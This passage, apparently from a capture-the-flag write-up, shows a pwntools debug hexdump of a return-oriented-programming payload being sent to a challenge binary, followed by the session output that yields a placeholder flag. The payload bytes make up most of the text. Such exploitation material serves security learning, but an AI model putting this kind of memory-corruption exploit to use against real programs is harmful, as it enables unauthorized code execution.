000000f0 28 06 40 00 00 00 00 00 39 06 40 00 00 00 00 00 │(·@·│····│9·@·│····│
00000100 2a 06 40 00 00 00 00 00 00 40 00 00 00 00 00 00 │*·@·│····│·@··│····│
00000110 72 c2 3f 00 00 00 00 00 28 06 40 00 00 00 00 00 │r·?·│····│(·@·│····│
00000120 39 06 40 00 00 00 00 00 2a 06 40 00 00 00 00 00 │9·@·│····│*·@·│····│
00000130 00 40 00 00 00 00 00 00 e0 c2 3f 00 00 00 00 00 │·@··│····│··?·│····│
00000140 28 06 40 00 00 00 00 00 39 06 40 00 00 00 00 00 │(·@·│····│9·@·│····│
00000150 2a 06 40 00 00 00 00 00 00 40 00 00 00 00 00 00 │*·@·│····│·@··│····│
00000160 28 c2 3f 00 00 00 00 00 28 06 40 00 00 00 00 00 │(·?·│····│(·@·│····│
00000170 39 06 40 00 00 00 00 00 a3 06 40 00 00 00 00 00 │9·@·│····│··@·│····│
00000180 28 10 60 00 00 00 00 00 10 05 40 00 00 00 00 00 │(·`·│····│··@·│····│
00000190 0a │·│
00000191
[*] Switching to interactive mode
[DEBUG] Received 0x2c bytes:
b'Thank you!\n'
b'ROPE{a_placeholder_32byte_flag!}\n'
Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
And it looks like we have the flag: ROPE{a_placeholder_32byte_flag!}
!